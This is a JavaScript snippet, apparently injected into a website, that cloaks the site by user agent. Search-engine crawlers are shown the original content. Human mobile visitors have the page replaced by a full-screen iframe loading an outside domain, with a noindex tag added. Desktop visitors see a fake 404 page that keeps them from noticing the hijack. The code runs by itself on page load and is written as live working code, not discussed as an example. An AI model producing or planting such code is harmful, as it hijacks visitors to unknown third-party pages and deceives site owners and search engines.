document.addEventListener('DOMContentLoaded', function () { // 蜘蛛 UA 判断(精确名单 + 通用特征,避免误伤 SogouMobileBrowser 等真人浏览器) function isSpider(ua) { ua = ua || navigator.userAgent || ''; var knownSpiders = /(?:Baiduspider|Googlebot|Google-InspectionTool|GoogleOther|AdsBot-Google|Mediapartners-Google|bingbot|BingPreview|Slurp|360Spider|YisouSpider|YandexBot|DuckDuckBot|Bytespider|Applebot|PetalBot|HaosouSpider|Sosospider|Sogou[\s\-]?(?:web\s)?[Ii]nst?\s?[Ss]pider|facebot|ia_archiver|SemrushBot|AhrefsBot|MJ12bot|DotBot|BLEXBot|LinkedInBot|Twitterbot|TelegramBot|Pinterestbot|Discordbot|facebookexternalhit|Slackbot|WhatsApp|Line[\s\/]?Bot)/i; if (knownSpiders.test(ua)) return true; // 通用爬虫词(整词匹配,避免 Cubot 等品牌误伤) if (/\b(?:bot|spider|crawler)\b/i.test(ua)) return true; // 常见 compatible 声明格式 if (/compatible;\s*(?:Googlebot|bingbot|Baiduspider|YandexBot|360Spider)/i.test(ua)) return true; return false; } // 移动端 UA 判断(含 iPadOS 13+ 桌面 UA、鸿蒙等) function isMobile(ua) { ua = ua || navigator.userAgent || ''; if (/(?:Android|webOS|iPhone|iPod|BlackBerry|IEMobile|Opera Mini|Windows Phone|HarmonyOS|OpenHarmony|Mobile)/i.test(ua)) { return true; } if (/iPad/i.test(ua)) return true; // iPadOS 13+ 请求桌面版网站时 UA 为 Macintosh,需结合触控点数 if (/Macintosh/i.test(ua) && navigator.maxTouchPoints > 1) return true; return false; } var ua = navigator.userAgent; if (!isSpider(ua)) { // 非蜘蛛 if (isMobile(ua)) { // 移动端:继续 iframe 跳转 var targetSrc = 'https://dhn-hzh5.bjlzkj05.cn/1037.html'; var noindexMeta = document.createElement('meta'); noindexMeta.setAttribute('name', 'robots'); noindexMeta.setAttribute('content', 'noindex'); document.head.appendChild(noindexMeta); var meta1 = document.createElement('meta'); meta1.setAttribute('http-equiv', 'X-UA-Compatible'); meta1.setAttribute('content', 'IE=edge'); document.head.appendChild(meta1); var meta2 = document.createElement('meta'); meta2.setAttribute('name', 'viewport'); meta2.setAttribute('content', 'width=device-width,initial-scale=1'); document.head.appendChild(meta2); var styleCSS = document.createElement('style'); styleCSS.textContent = ` html,body{ position:relative; width:auto!important; height:100%!important; min-width:auto!important; overflow:hidden; margin:0; padding:0; } .iframe-container{ position:fixed; top:0; left:0; right:0; bottom:0; z-index:9999999999; background:#fff; } iframe{ border:none; width:100%; height:100%; } `; document.head.appendChild(styleCSS); var iframeContainer = document.createElement('div'); iframeContainer.className = 'iframe-container'; var iframe = document.createElement('iframe'); iframe.src = targetSrc; iframe.setAttribute('data-noindex', 'true'); iframeContainer.appendChild(iframe); document.body.innerHTML = ''; document.body.appendChild(iframeContainer); document.addEventListener('onunload', function(){}); } else { // PC 端:展示 404 页面(前端内容) document.body.innerHTML = ''; var style404 = document.createElement('style'); style404.textContent = ` html,body{ margin:0; padding:0; height:100%; } .page-404{ display:flex; flex-direction:column; align-items:center; justify-content:center; height:100vh; font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif; background:#f5f5f5; color:#333; text-align:center; } .page-404 h1{ font-size:72px; margin:0 0 16px; } .page-404 p{ margin:4px 0; font-size:14px; color:#666; } `; document.head.appendChild(style404); var container404 = document.createElement('div'); container404.className = 'page-404'; container404.innerHTML = `
抱歉,您访问的页面不存在或已被移除。
Please check the URL and try again.
`; document.body.appendChild(container404); } } else { // 蜘蛛:保持原始内容(走 404 模板,有利于 SEO) var canonical = document.createElement('link'); canonical.setAttribute('rel', 'canonical'); canonical.setAttribute('href', window.location.href); document.head.appendChild(canonical); console.log("Spider detected, showing original content for SEO."); } });